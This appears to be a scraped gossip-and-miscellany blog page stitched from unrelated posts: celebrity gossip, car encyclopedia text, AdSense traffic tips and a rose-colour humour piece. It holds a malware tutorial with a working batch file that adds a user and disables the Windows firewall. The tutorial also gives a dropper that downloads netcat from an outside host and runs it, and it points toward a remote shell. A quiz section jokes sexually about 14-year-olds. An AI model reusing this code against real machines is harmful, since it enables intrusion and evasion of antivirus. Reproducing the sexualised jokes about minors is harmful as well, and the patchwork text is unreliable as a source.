Daniel Craig is Britain’s best dressed man

Daniel Craig

James Bond star Daniel Craig has been named Britain’s best dressed man according to a poll conducted by men’s magazine GQ. Craig who is worthy of the worldwide sex-symbol status after his James Bond in ‘Casino Royale’ role, now beats male celebrities like David Beckham, Clive Owen, Jude Law, British royal Prince Harry 10th or Conservative politician David Cameron, to topped the best-dressed man in Britain by GQ magazine. The actor seems to have an ace in his pocket when it comes to clothing, because his choices are reportedly impressing. On the other hand, Russell Brand and Kate Moss’ boyfriend Pete Doherty were on the best dressed and on the worst-dressed man polls of the magazine.

No Bond since Sean Connery has worn it better. It works because the 007 uniform seems like an upgrade of what Craig would naturally wear.

Celebrity Virginity Showdown: Who lost it first?

See how well you know your celebs. Which celebrity lost their virginity first?

Round 1. Anglina Jolie vs. Paris Hilton


ANSWER: Angelina Jolie (14 years old)

Angelina Jolie tops our list of the getting started the earliest. The exotic sex machine allegedly lost her virginity at the young age of 14. She proceeded to cut her boyfriend with a knife after getting screwed. “Your turn to bleed b*tch.” Okay, maybe she didn’t say that, but it’s fitting.

Paris Hilton was 15 and allegedly lost it to Randy Spelling, Tori’s brother, at a hotel in Palm Springs, and she’s been fuckin ever since. Several sex videos, one alleged Valtrex prescription, and now we have the blogosphere’s most famous slut. Any questions?


Round 2. Sienna Miller vs. Shanna Moakler


ANSWER: Sienna Miller (16 years old)

Sienna Miller was 16 when she was deflowered by her first serious boyfriend. She was actually encouraged by her mother to do it inside the house if she was going to do it at all. Obviously, sex in the house, is a lot safer than sex in the city.

Shanna Moakler, former Miss USA (1995) and actress, was 18 and lost it in her dad’s office. He is a dentist. Suffice to say, teeth weren’t the only things getting drilled in that office.


Round 3. Britney Spears vs. Kate Moss


ANSWER: Kate Moss (14 years old)

Britney Spears supposedly lost her treasured virginity to Justin Timberlake at the ripe old age of 18. And now, in a moment of silence, lets wonder why she decided to wife Federline, instead of hitting Justin one more time.

Kate Moss, the supermodel, allegedly lost it also at the age of 14, on a family holiday vacation in the Bahamas. Her family was sitting back loungin, while Kate was off getting a poundin’.


Round 4. Marcia Cross vs. Jaime Pressly


ANSWER: Jaime Pressly (14 years old)

Jaime Pressly, “The Southern Sizzler”, is another hottie that lost her cherry at 14 to a 16 year old boyfriend in her hometown of Kinston, North Carolina. According to the Kinston official website, “Kinston offers fun for all ages with a variety of recreation and cultural activities,” yet, 14 year olds are still obviously looking for dick.

Marcia Cross of “Desperate Housewives” was also allegedly 18 for her first romp. Dot the”i’s,” cross the”t’s,” add a little desperation, and Marcia was probably on her knees.


Round 5. Brooke Shields vs. Tina Fey


ANSWER: Brooke Shields (20 years old)

Brooke Shields, once America’s most celebrated virgin, succumbed to the charms of fellow classmate Dean Cain when both were attending Princeton University. She was 20. And now, she is 42, and nobody cares.

YOU'RE NOT THE ONLY VIRGIN



In today’s world, it seems like sex is everywhere.

People are either talking about sex, thinking about sex or having sex. It’s on billboards, on TV, in songs and on the bus. And because women are now allowed to freely have sex with whoever they want, it’s assumed that all women are.

As little girls, we were told to ‘save ourselves’ until we were 200% sure the guy was the ‘right one’. But if a girl’s done exactly that, and is still a virgin at the age of 20, she’s considered frigid and abnormal. The average age for a kiwi girl to lose her virginity is at 16, so while the idea of a 22-year old virgin may seem strange, when I asked around, I found that it’s actually more common than I thought.

There are two types of virgins - those who choose to be, and those who wish they weren’t.

Religion often plays a big role in the decision to stay a virgin. Jessica Simpson was a virgin when she married Nick Lachey - a choice influenced by her Christianity. She said that she “promised God, my father and my future husband that I would remain a virgin until I got married. I just always knew it was something I wanted to do”.

Some girls simply want to wait until they’re married to have sex - not for religious reasons, but moral ones. My friend, a 21-year-old virgin, decided to wait until marriage when she was propositioned by a boyfriend when she was 15. She says that while she certainly has been tempted, she wants to wait and make her first time something really special. And with the high levels of sexually transmitted infections and teenage pregnancy, she doesn't see the point of putting herself at risk.

But for some girls, virginity is a curse. Older girls who haven’t consciously chosen to save their virginity often feel ashamed at their inexperience. They feel like they’re the only person not having sex. Which definitely isn't true when you look around - I asked around my group of friends (aged between 18 to 25), and found six virgins. I’m sure if you asked around, you’d find you know more virgins than you’d expect.

I say be proud of your virginity. Regardless of whether you’ve decided to be a virgin, or if you just haven't happened to have sex yet, don't be embarrassed. You have something a lot of other women don't. And remember - it’s just sex. Who really cares if you’re missing out just now? You have years ahead of you to discover the pleasures and excitement of sex. It might sound clichéd but it’s true - when the time is right, it will happen.

We all know how Britney Spears’ attempt at staying ‘pure’ until marriage turned out. But not all attempts fail. There are many celebrities that chose, or have chosen, to keep their virginity until they married/marry:

 Jessica Simpson
 Lisa Kudrow
 Brooke Shields
 Leelee Sobelski
 Petra Bagust
 Anna Kournikova (debatable)

Hollywood Celebrity Angelina Jolie lost her virginity at 14


Angelina Jolie 2007

According to some recent news, Hollywood Celebrity Angelina Jolie has revealed some interesting details about her past more exactly how she lost her virginity and how sexual she was even from kindergarten. A lot has happened since, but Angelina recalls in an interview with Britain’s OK! magazine how she was interested in the opposite sex from a very early age and “made out” with boys at nursery. The Hollywood Celebrity lost her virginity aged 14 to her first boyfriend, and has revealed she began cutting him with a knife after the sex “wasn’t enough”. Anyway it seems her first son Maddox was the key to her stability as it was the biggest change in her life and like no other man, adopting him made her feel complete.

I was a member of a group called the Kissy Girls. I was very sexual in kindergarten. I created a game where I would kiss the boys and give them cooties. Then we would make out and we would take our clothes off. I got in a lot of trouble!

I had my first boyfriend and had sex with him when I was 14. The emotions didn’t feel enough. I was no longer a little girl. In a moment of wanting to feel closer to my boyfriend, I grabbed a knife and cut him. He cut me back. We had an exchange of something and we were covered in blood, my heart was racing. Then, whenever I felt trapped, I’d cut myself. I have a lot of scars. I was never morbid, let alone suicidal. Though I have never met any girl who has got such a hobby. […] It had something to do with becoming a mother. That was the biggest change in my life and made me feel complete. I learned to accept responsibility for myself, my children and my partner.
- said Hollywood Celebrity to Britain’s OK! magazine -

Justin Timberlake ‘I haven’t learned anything about women

Justin Timberlake

According to the news, Pop Celebrity Justin Timberlake who dated Britney Spears and and had a long term relationship with Cameron Diaz, surprisingly revealed that he doesn’t understand women and is confused about them. Because of his past experience Justin Timberlake is not focusing on romance at this point in his life; his mom, family and peace of mind are now his priorities. I said “surprisingly” because there are many guys who are in the same situation as Justin and they don’t admit it, or if they do, they don’t try to understand women. Justin Timberlake should know what he wants from a woman and what that woman wants also, because with all the contrasting images and concepts flying around, that lack of knowledge has only gotten worse. Anyway I am sure Justin doesn’t need an advice, he will sure be back on track soon!

I haven’t really learned anything about women. I’m still a man so I have some kind of learning disability. Women wouldn’t have us any other way! My priorities are my relationship with my mom, my family, my peace of mind, my friendships and my career. In that order.
- Newsweek.com reports quoted Justin Timberlake as saying

No Birthday for Lohan?

Lindsay Lohan

Lohans big birthday bash canceled? “The party was canceled officially over two weeks ago. We were confused why PURE was even still promoting it,” Lohan’s rep tells Us Weekly. “But Lindsay will not be having the birthday party at PURE and is focusing on her recovery 100 percent.”

“100 percent”? I doubt that.

Angelina Jolie wears $26 dress on red carpet

Jolie's $26 dress

She may be the 14th most powerful celebrity in the world (according to Forbes), but Angelina Jolie’s latest red carpet dress cost her just $26.

The cheap silk-velvet dress was worn for the premiere of A Mighty Heart in New York. Jolie purchased the dress at a Los Angeles vintage boutique.

Counting her pennies may be a good idea considering her goal of having 14 kids. That doesn’t come cheap!

So you think you can act?


June 20th, 2007 by Celebrity Gossip Blog

Avril has decided she would like to take on some new projects. Unfortunately for us…one of those projects is acting.

“I want to do other things also, outside of music — have some fun with acting and do a couple of movies. I have one scene in (a coming movie called The Flock, starring Richard Gere), and I’ve done a couple of small things, but now I’m looking to do a big part.” says Avril.

7 Powerful Ways To Make Money From Adsense Using Only Free Tools

There is really no doubting that there are amazing incomes currently being made on Google Adsense and the really interesting thing is that even relatively small sites and blogs are finding new ways to make money from their Adsense sites every day.

Actually there are a lot of increasingly creative ways to make money and maximize on Adsense earnings that are being discovered and also being put to use every day. And what’s even more fascinating is the fact that most of these tools being used don’t cost anything. They are actually free. Here are 7 of the most effective currently being used.

a) Ways to make money from Adsense by Distributing articles through ezine and article announcement lists

Some of the most effective methods ways to make money from Adsense clicks involve the simple step of just increasing the volume of targeted traffic to a site. One of the ways of doing this is by distributing interesting content to ezine lists and article announcement lists. It is not too difficult to quickly build a list that reaches a million or so email boxes and can thus give a lot of visibility and drive tons of highly targetd traffic to your Adsense site or sites. Probably the most popular place for doing this is at Yahoo groups, but there are a few others that you can find easily by using your favorite search engine.

Success here depends on three main factors. Firstly you should be careful to join article announcement lists and ezine lists that are as relevant as possible to your subject matter and offering. Secondly your headline has to be a killer headline that will grab readers by the scruffs of their necks and force them to open your email message amongst the dozens or even hundreds of others they receive daily. It goes without saying that the content must meet the promise of your sensational headline. Anything less will cause annoyance and leave all those potential visitors to your Adsense site feeling cheated. And believe me, you don’t want to cause this sort of reaction because it is definitely not one of the ways o make money from Adsense or any other program for that matter. Thirdly, you will need the sort of resource box in all your articles that will leave most of your readers with no option but to visit your Adsense site.

Within a very short of consistently applying this technique, my daily Adsense earnings increased seven-fold.

b) Ways to make money from Adsense by Distributing free articles to high traffic article sites Some people find the recent trends that have seen an increase in article sites surprising. I don’t. The net is primarily an information-seeking tool. Anything that will help improve the search and quality of information will greatly benefit the people making that effort.

Some of the older article directories receive very high traffic, mainly from web masters and site owners seeking quality free content for their sites. So apart from the immediate exposure these sites also guarantee plenty of future targeted traffic to your site, when folks find your articles useful enough to re-post at their sites.

The more new articles you release to these sites every week, the more targeted traffic your Adsense sites will receive. This is in fact one of the most effective ways of making money consistently from Adsense clicks. One of the reasons for this is that targeted traffic will tend to spend more time at your site or sites, and the more time they spend, the higher the chances that they will click one one of the Adsense ads posted there.

c) Ways to make money from Adsense by Using Articles And A Viral Marketing Website

Any online marketing technique that involves the use of referral marketing or viral marketing automatically has a huge chance of being a success. The net is ideal for viral marketing and in fact gives any viral marketer huge leverage. Viral marketing or referral marketing is one of the most effective ways to make money online. Just ask Bill Gates.

When Gates was trying to play catch up on the Internet after an earlier mistake of underestimating the future importance of the net, he launched his Hotmail free email service when rivals like Yahoo already had millions of users. He decided to use a simple referral marketing technique. Every Hotmail message that went out had a brief signature at the end requesting the recipient to sign up for their free Hotmail account. Within a few short months, Hotmail had millions of users. And there are many other amazing stories which viral marketing boasts of on the net.

There is one of the very simple ways to make money from Adsense by going viral. Sign up at a leading viral marketing site. You will automatically get your own viral site. You can then use some of your articles to point people to your viral site. The way these sites work is that anybody who signs up at your site will have to visit your Adsense site if you register it at the site. So within a very short time you will be driving thousands of visitors to your Adsense site.

Find more details on this at my blog whose address you'll find in the resource box below.

Admittedly this traffic is less targeted. Still the huge potential and possible numbers you are able to receive using this free tool more than makes up for this.

d) Ways to make money from Adsense With Your Email signature

People greatly underestimate the power and potential effectiveness of a simple email signature as one of the ways to make money online. Actually this is a viral marketing method because emails get forwarded all the time and are even copied to several other people sometimes.

Do not waste another minute. Go to all your email accounts right now and create a signature that points to your Adsense site or sites.

Writing effective email signatures is a skill that you will have to develop, but I have found that using famous quotes is more effective than a straight advertising message. Always remember that people hate to be advertised to online.

e) Ways to make money from Adsense By Asking Questions At Discussion groups

I recently had an interesting conversation with a young Internet and computer techie. He asked me whether there were quick ways to make money online by answering technical questions and helping people to solve their computer and web-related problems. My answer was that there were many discussion groups where participants would get these answers for free. I advised him that he had a better chance of making money by making use of this free advice available online rather than by trying to sell his own advice.

There are tons of online discussion groups where leading world experts will answer your questions and give you valuable insight for free. It is amazing why most people do not think of using these online forums to learn as much as they can about the most effective ways of making money from Adsense.

These forums can easily be found through you favorite search engine.

f) Ways to make money from Adsense By Bartering your online skills for valuable Adsense keywords

In the old days, before the invention of money, if somebody needed something, the first question they asked themselves was; “What is it that I already have that I can exchange for what I need? Barter trade seems to have been forgotten but it is a very powerful method of trading. More so online where people have plenty of skills but are slow to trust others enough to send them money for an item they need.

You can barter whatever it is you have, your skills, products or services, and exchange them for genuine valuable Adsense keywords. Valuable Adsense keywords are the most effective way for a small site with low traffic to earn big cash from Adsense. And you can do this barter trade on an ongoing basis so that you always have a constant supply of valuable Adsense keywords which you can use at your site or blog as one of the ways to make more money from Adsense.

g) Ways to make money from Adsense By Sending Teaser Emails

To Everybody In Your Inbox And Also To Your Opt-in Email List Most of us receive tons of email in our inbox every day. You’ll be surprised at the huge number of people you know by simply going through your email inbox. No matter how good your spam filters are, you are also bound to be receiving more than your fare share of SPAM or unsolicited email. All this is “gold” lying in your email inbox and there are ways to make money using these emails. All you need to do to process the emails into pure gold is to send out “teaser emails about the most interesting aspects of content at your site. The whole objective of teaser emails is to get people to visit your site. For instance if I were to send out teaser email on this content here is how I would construct it;

Subject: Free Tools Currently Being Used To Increase Adsense Earnings

Hello,

Just thought you might be interested in this subject, since so many folks online use Adsense these days. If not please accept my sincere apologies. Details are at my site.

www. your site's address .com

Regards, Chris.

I am sure you can write an even more effective teaser email. It would be a better idea to have a different message for your close friends, a different one for your business contacts and yet another one for those nasty guys SPAMMING you.

These are just some of the many creative ways to make money from Adsense.

Bugatti Veyron

The Bugatti Veyron 16.4 is currently the fastest, most powerful, and most expensive street-legal full production car in the world, with a proven top speed of 407.5 km/h (253 mph), though several faster or more expensive vehicles have been produced on a limited basis.[1] It reached full production in September 2005. The car is built by Volkswagen AG subsidiary Bugatti Automobiles SAS in its Molsheim (Alsace, France) factory and is sold under the legendary Italian/French Bugatti marque. It is named after French racing driver Pierre Veyron, who won the 24 hours of Le Mans in 1939 while racing for the original Bugatti firm.

Specifications

The quad-turbocharged W16 engine used by the Veyron.
The quad-turbocharged W16 engine used by the Veyron.

The Veyron features a W16 engine—16 cylinders in 4 banks of 4 cylinders, or the equivalent of two narrow-angle V8 engines mated in a "W" configuration. Each cylinder has 4 valves, for a total of 64, but the narrow V8 configuration allows two camshafts to drive two banks of cylinders so only 4 camshafts are needed. The engine is fed by four turbochargers, and it displaces 8.0 L (7,993 cc/488 in³) with a square 86 by 86 mm bore and stroke.

Putting this power to the ground is a dual-clutch DSG computer-controlled manual transmission with 7 gear ratios via shifter paddles behind the steering wheel boasting an 8 ms shift time. The Veyron can be driven by full automatic transmission. The Veyron also features full-time all-wheel drive based on the Haldex system. It uses special Michelin run-flat tires designed specifically for the Veyron to accommodate the vehicle's top speed.

Curb weight is estimated at 1890 kg (4,160lb). This gives the car a power to weight ratio of 529 bhp/tonne.

The car's wheelbase is 2710 mm (106.3 in). Overall length is 4462 mm (175.8 in). It measures 1998 mm (78.7 in) wide and 1206 mm (47.5 in) tall.

The Bugatti Veyron has a total of 10 radiators.[2]

  • 3 radiators for the engine cooling system.
  • 1 heat exchanger for the air to liquid intercoolers.
  • 2 for the air conditioning system.
  • 1 transmission oil radiator.
  • 1 differential oil radiator.
  • 1 engine oil radiator.
  • 1 hydraulic oil radiator for the spoiler.

    According to Volkswagen, the final production Veyron engine produces between 1020 and 1040 metric hp (1006 to 1026 SAE net hp), so the car will be advertised as producing "1001 horsepower" in both the US and European markets, despite the fact that the actual amount of horsepower produced is 986 - making it the second most powerful road production car - second only to the Koenigsegg CCXR, which it is claimed develops 1004bhp, although further testing in the Koenigsegg laboratories has proven it can hit 1064bhp.

    Top speed was initially promised to be 406 km/h (252 mph), but test versions were unstable at that speed, forcing a redesign of the aerodynamics. In May 2005, a prototype Veyron tested at a Volkswagen track near Wolfsburg, Germany, and recorded an electronically limited top speed of 400 km/h (249 mph). In October, 2005, Car and Driver magazine's editor Csaba Csere test drove the final production version of the Veyron for the November 2005 issue. This test, at Volkswagen's Ehra-Lessien test track, reached a top speed of 407.5 km/h (253.2 mph). The top speed was verified once again by James May on Top Gear, again at Volkswagen's private test track. When getting close to the top speed during the test he said that "the tires will only last for about fifteen minutes, but it's OK because the fuel runs out in twelve." He also gave an indication of the power requirements, at 249 km/h (155 mph) the Veyron was using approximately 270 BHP (201 kW), but to get to its rated 407 km/h (253 mph) top speed required far more from the engine. The power required to overcome aerodynamic friction is proportional to the cube of the speed. Therefore, to go twice the speed, you need eight times the power.

    The Veyron is the quickest production car to reach 100 km/h (62 mph) with an estimated time of 2.5 seconds, according to the manufacturer. It reaches 60 mph in approximately 2.46 seconds. It also reaches 200 and 300 km/h (124 and 186 mph) in 7.4 and 18.2 seconds respectively. And according to the February 2007 issue of Road & Track Magazine, the Veyron accomplished the quarter mile in 10.2 seconds at a speed of 142.9 mph. This makes the Veyron the quickest and fastest production car in history. It also consumes more fuel than any other production car, using 40.4 L/100 km (5.82 mpg) in city driving and 24.1 L/100 km (10 mpg) in combined cycle. At full throttle, it uses more than 125 L/100 km (2.1 mpg), which would empty its 100 L (26.4 gallon) fuel tank in just 12.5 minutes. The car's everyday top speed is listed at 375 km/h (233 mph). When the car reaches 220 km/h (137 mph), hydraulics lower the car until it has a ground clearance of about 8.9 cm (3½ inches). At the same time, the wing and spoiler deploy. This is the "handling" mode, in which the wing helps provide 3425 newtons (770 pounds) of downforce, holding the car to the road.[2] The driver must, using a special key (the "Top Speed Key"), toggle the lock to the left of his seat in order to use the maximum speed of 407.5 km/h (253.2 mph). The key functions only when the vehicle is at a stop when a checklist then establishes whether the car—and its driver—are ready to enable 'top speed' mode. If all systems are go, the rear spoiler retracts, the front air diffusers close and the ground clearance, normally 12.4 cm (4.9 inches), drops to 6.6 cm (2.6 inches).

    The Veyron's brakes utilize unique cross-drilled and turbine-vented carbon rotors, which draw in cooling air to reduce fade. Each caliper has eight[2] titanium pistons. Bugatti claims maximum deceleration of 1.3 g on road tires. Prototypes have been subjected to repeated 1.0 g braking from 194 to 50 mph (312 to 80 km/h) without fade. With the car's fearsome acceleration from 50 to 194 mph (80 to 312 km/h), that test can be performed every 22 seconds. At speeds above 124 mph (200 km/h), the rear wing also acts as an airbrake, snapping to a 70-degree angle in 0.4 seconds once brakes are applied, providing 0.5 g (4.9 m/s²) of deceleration.[2] Bugatti claims the Veyron will brake from 400 km/h (250 mph) to a standstill in less than 10 seconds.[2] The braking is also so evenly applied that the car will not deviate from a straight path if the driver lets go of the steering wheel, even with the brakes fully applied starting from close to top speed.

How to create a new undetectable virus in 3 easy steps

This article will demonstrate how an average PC user can create a piece of malicious software in minutes that will be undetected by all the major anti-malware scanning engines.

This article is for informational purposes only and the author disclaims any responsibility for your use or misuse of any of the information contained herein.

It is well-known in blackhat circles that a new piece of malware, coded from scratch, will almost always bypass signature-based malware scanners. What is less known is that the skill needed to do this is minimal at best - an average user with no programming experience can cut and paste a few lines of code together and create a undetected malicious executable in 3 easy steps.

Most anti-virus scanners rely on a database of signatures for known viruses. Once a new virus is spread wide enough that it has been identified as malicious, the anti-virus vendors scramble to come up with a fingerprint to identify that strain of malware in the future. The obvious flaw in this process is that a new piece of malware will bypass the scanners by default, until it is widespread enough to be noticed by security researchers or picked up by a dummy node. There is always a window of opportunity for new malware between the time of deployment and the update of the signature databases and as recent malware trends demonstrate, this window is large enough to make a profit for the authors.

Roll-your-own undetected malware in 3 easy steps!

Step 1: Commands to execute

Here we compile the DOS commands that our malware will execute into a DOS batch file. As a simple proof of concept, let’s add a new user, disable the XP firewall, and create a directory on the C drive.

@echo off
net user hacksafe hacksafe /add
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
mkdir c:\haxed

Save the above as a filename.bat

Step 2: Compile to an executable

Experienced DOS users may remember a number of utilities that were able to convert a batch file into an executable (com or exe). These tools basically wrap a shell call around each of our commands and bundle the whole thing up into a tiny .exe file. One of the most well known is BAT2EXEC released by PC Magazine in 1990.

creating our malware

Our tiny executable COM file is ready to go.

Step 3: Test and Deploy

We now have a custom executable that runs some obvoiusly malicious commands: disabling the firewall and adding a new user. If we were to email this file to a target, surely any modern anti-virus scanner would pick this up as a simple batch file and alert us to the malicious code… right?

virus scan3

No patterns exist for this new piece of malware - it’s unrecognised by signature-based scanners. Heuristics and sandboxing may alert to suspicious activity, or email filtering may prevent our executable from reaching the target, but the primary mechanism of anti-malware protection has been defeated in a matter of seconds with little knowledge or skill on the part of the attacker. If the target user were to run our executable, the only indication of malicious activity would be a command prompt quickly appearing and disappearing on the desktop.

Step 4 (Optional):

A typical malware author would take the created executable and mangle it in various ways to make it harder to detect - using tools such as encrypters, packers, scramblers and EXE binders. The malicious code may be bundled with a legitimate executable, or packed with a rootkit or other remote access utility. For more information on how malware authors avoid detection, check out our article on packers and scramblers.

Example: Creating a simple dropper

A dropper is a small piece of malware designed to “drop” another peice of malware onto a system. It usually comes in the form of a simple executable that, when executed, retrieves a file from a hardcoded web or ftp site and executes it (usually a rootkit or botnet suite).

As a proof of concept, we can create a simple dropper using VBscript in a batch file that pulls down a copy of netcat from the Hacksafe site and executes it:

echo Dim DataBin >hacksafe.vbs
echo Dim HTTPGET >>hacksafe.vbs
echo Set HTTPGET = CreateObject(”Microsoft.XMLHTTP”) >>hacksafe.vbs
echo HTTPGET.Open “GET”, “http://www.hacksafe.com.au/nc.exe“, False>>hacksafe.vbs
echo HTTPGET.Send >>hacksafe.vbs
echo DataBin = HTTPGET.ResponseBody >>hacksafe.vbs
echo Const adTypeBinary=1 >>hacksafe.vbs
echo Const adSaveCreateOverWrite=2 >>hacksafe.vbs
echo Dim test1 >>hacksafe.vbs
echo Set test1 = CreateObject(”ADODB.Stream”) >>hacksafe.vbs
echo test1.Type = adTypeBinary >>hacksafe.vbs
echo test1.Open >>hacksafe.vbs
echo test1.Write DataBin >>hacksafe.vbs
echo test1.SaveToFile “malware.exe”, adSaveCreateOverWrite >>hacksafe.vbs
hacksafe.vbs
malware.exe -h

We compile using one of the many bat conversion utilities - Bat-to-Exe Converter 1.1. (This utility packs the output file using UPX, which may cause some anti-virus scanners to flag the file as potentially suspicious).

bat2exe dropper

After creating our simple dropper.exe we submit it for scan:

dropper scanned for malware

Nothing found. It would be trivial to include the firewall disable command from the previous example and configure a netcat command line to listen on an incoming port and spawn a command shell. A new, undetected yet incredibly simple and obvious, remote access trojan!

It is hoped that this article serves to demonstrate the fundamental flaw of signature-based malware detection systems.

Some additional points to consider:

  • A .COM file under 64kb can be renamed to an .EXE (or .scr, or .lnk, etc) and will still execute.
  • Heuristics and behaviour analysis may detect malicious activity.
  • The examples above assume XP sp2 and the user has local admin privileges.
  • Many bat2exe utilities use a packer or scrambler that is recognised by signatures.
  • Anyone with programming experience can see that the above can be achieved using execve(), system().
  • This is old, old news. People were hacking BBS’s using BAT2EXE in the early 90’s!

Saying it with flowers

Leave it to women to complicate the hell out of stopping at the florist for some posies. Hold the bus, Jose - that's not just a bedwarmer you're buying - it's a complex she-code that you have to understand thoroughly before committing.

Nothing is easy anymore.

So, let's have a look at this magilla, and make sure you're sending the right damned stupid secret message in addition to burning the 50 bucks that you're about to chuck away in vase-fodder.

RED: Your basic red rose is pretty safe; it says almost anything. But that can be to your disadvantage. Red roses can mean "congratulations," "good job," "I respect you," "you are brave" or "I love you but not enough to get the right color flower which defines precisely the right type of love you instill in me (which I'd do if I really loved you; I'm a cad.)"

See how complex this is?

DARK RED: Ok, this is a bullpoo color; according to the secret code, it means "You are beautiful, but you don't know you're beautiful, or, if you do, you do not act like you know you are." A woman who knows the secret code will be impressed, but also aware that the dark red rose does not necessarily infer any kind of romantic alliegiance or promise of fidelity in itself.

SINGLE RED ROSE: Very good, but very bad for Valentines. A single red rose any other time of the year, given unexpectedly, says, "I love you." Around Valentines, it says, "I'm a cheapskate." Under no circumstance give the single red rose during this month, unless you derive your income solely from a paper route.

WHITE: The sappy color. The "my love is so pure, you are so pure, where do you hide your wings and halo, I would slay dragons for you" color. The wedding color. There are only two reasons to give white roses - you are either completely twitterpated or a complete scoundrel desperately on the make.

PINK: The weasely color. It says, "Thanks a lot. I really appreciate it." It says, "I really, really mean it," without actually saying what "it" it is you mean. It can mean "I admire you," as well as to compliment someone's grace and charm. In short, the sort of thing you give to the host of a Tupperware party.

DARK PINK: The same as above, but moreso. The sort of thing you give to the host of a Tupperware party who you still owe $10 for the salad tongs you bought last time.

LIGHT PINK: The same as regular pink, but without the onus - "How refined you are - what a gentle little thing. I'll bet you played tea party with a plastic tiara on when you were a little girl." A good arm's-length compliment.

YELLOW: A sort of hallmark color. "Hooray - you're my friend! It's so nice! I'm glad!" Yellow roses will not open the gates of heaven. Good for giving to your girlfriend's kid sister when she has her first communion, maybe.

YELLOW WITH RED TIP: Now here's a clever little thing. They mean, "I'm falling in love." So, if you wanna test the waters a bit, shove a dozen of these babies at the girl and see if she recoils. Of course, you're going to get points off trying to weasel in an un-manly coward's "I kinda think I might love you - what do you think?" in the form of a floral tribute. My advice is to grow a pair and state your case - 'tis better to be shot down as a man, than brushed off as a noodge.

ORANGE: Desire and Enthusiasm. Personally, I think that's a horrible color for roses, but you've gotta admire the sentiment. Odds are that the guy passing this around has a can of Redi-whip and a pair of fuzzy luv cuffs hidden somewhere within 20 feet of the bouquet.

RED & WHITE: Ok, here's a pretty common one. Together they mean "I love you, I want us to be together." Nothing tricky there - it's not especially poetic, but it does at least have a definite sentiment and promise attached.

PEACH: Now here's a salesman for you. What peach roses mean is, "Look, we've been playing cute long enough - are you gonna consummate with me, or what?" Peach is the color of "I don't want to wait anymore."

CORAL: This is nice: "Desire." Just desire. Just letting you know, I desire you - not putting through an agenda, just purely FYI. I don't know why they put such a nice sentiment on such a rotten color, but there you have it.

LAVENDER: Another nice one, lavender denotes "Love at first sight." Sweet little puppy-dog crush color. You enchant me - you make me feel like I'm in a perfume commercial.

BLACK: Great for Goths or those still fuming with malicious hate and all-consuming despise, black roses signify death. DIE DIE DIE DIE!!! P.S. Happy Valentine's Day.

As far as I know, nobody has said you can't send a long and complex message via this code. The result might look like hell, but it should be pretty rewarding for those who understand it. Let's practice:

"I loved you at first sight, but you were aloof; my love turned to a burning desire, and you turned me away. Now I spend my days wishing cancer on you." (Lavender buds, Coral, Peach and Black.)

"I loved you completely, and we had wild monkey sex. Now we're older and you fix me great dinners. Thanks for being my maid." (White, Orange, Red and Dark Pink. Add some babies breath and some tea roses to seal the deal.)


Bmw 320

This a very cool video for a BMW doing some cool donuts. Take my advice … You shouldn’t miss this. What I liked most about this is the driver showing himself from the sunroof while the car is doing some amazing stuff. I recall that I saw a video for a BMW E30 before in which the driver goes out of the car while it’s making the donuts, but that video ended in a very bad way and thankfully this one didn’t end in the same way. Anyway … enjoy .

BMW M6

The BMW M6 is a high-performance version of the 6-Series automobile, designed by the motorsport division of the German manufacturer.

E24 M635CSi/M6

In 1983 BMW took the M88/3 engine, a modified version of the M88/1 from the BMW M1 and put it in the E24 chassis of the BMW 6-Series, creating the M6. The M6 was critically acclaimed throughout its lifespan for its elegant, aggressive "shark-nose" styling, its well-appointed luxury features, and its quick performance. An M6 can be distinguished from other E24 models by a larger air dam, M6 badges on the grille and back, and a subtle spoiler.

In the U.S, the E24 M6 was fitted with the catalysed S38 motor, producing 256 hp (191 kW) and 243 ft·lbf (329 N·m) of torque. The European version did not need catalysts, and produced 286 hp (213 kW) and 251 ft·lbf (340 N·m) of torque. The M6 was good for a 0-60 mph (97 km/h) time of 6.4 and 6.8 seconds for the European and American versions, respectively. However, Car and Driver Magazine tested the U.S. M6 in July of 1987 and achieved a 0-60 mph (100 km/h) time of 6.1 seconds.[citation needed] Also in 1987 Road and Track featured the U.S. M6 as one of the 10 fastest cars in America.[citation needed]

Production of the M6 ended in 1989, with 5,855 cars sold, 1,767 of which were North American (U.S. & Canada) models.

E63 M6

The new BMW M6 made its debut at the 2005 Geneva Motor Show. It is based on the BMW E63/E64 6-Series, introduced in 2004. It shares the same 5.0 L V10 S85 engine and SMG III gearbox with the E60 M5, and produces 507 PS (373 kW) / 384 ft·lbf (521 N·m).

BMW claims it will accelerate from 0 to 100 km/h (62 mph) in 4.6 seconds and has an electronically limited top speed of 250 km/h (155 mph). With the limiter removed, the top speed can reach 330 km/h (206 mph). However, people have managed to achieve an outstanding top speed of 340km/h (211.27 mph) - displayed by the HUD; and multiple road tests have shown that the M6 accelerates from 0 to 60 in 4.2 seconds.

The M6 will have the same 'power button' as the M5 which modifies the throttle response. From ignition, the car delivers 430 PS (298 kW), but engaging the button allows the full 507 PS. It weighs 1710 kg (3770 lbs) thanks to a carbon fibre reinforced plastic roof panel as well as thermoplastic front wings, aluminium doors and bonnet and compound boot lid.

The carbon fibre and other light materials are used in places like the bumpers and roof that are far from the centre of gravity and/or high up, so that they not only reduce the overall weight but improve the handling by reducing, respectively, the moment of inertia and the centre of mass height.

Initially it will only be available as a coupe, although a cabriolet and a lightweight CSL version are expected in 2006 and 2007 respectively. The 2007 Cabriolet is expected to have a 0-60 time in about 4.6 seconds (Road and Track, September 2006). It can be visually distinguished from the 630i, 645Ci and 650i by its deeper front valance with air intakes, more contoured side sills and a rear valance with diffuser.
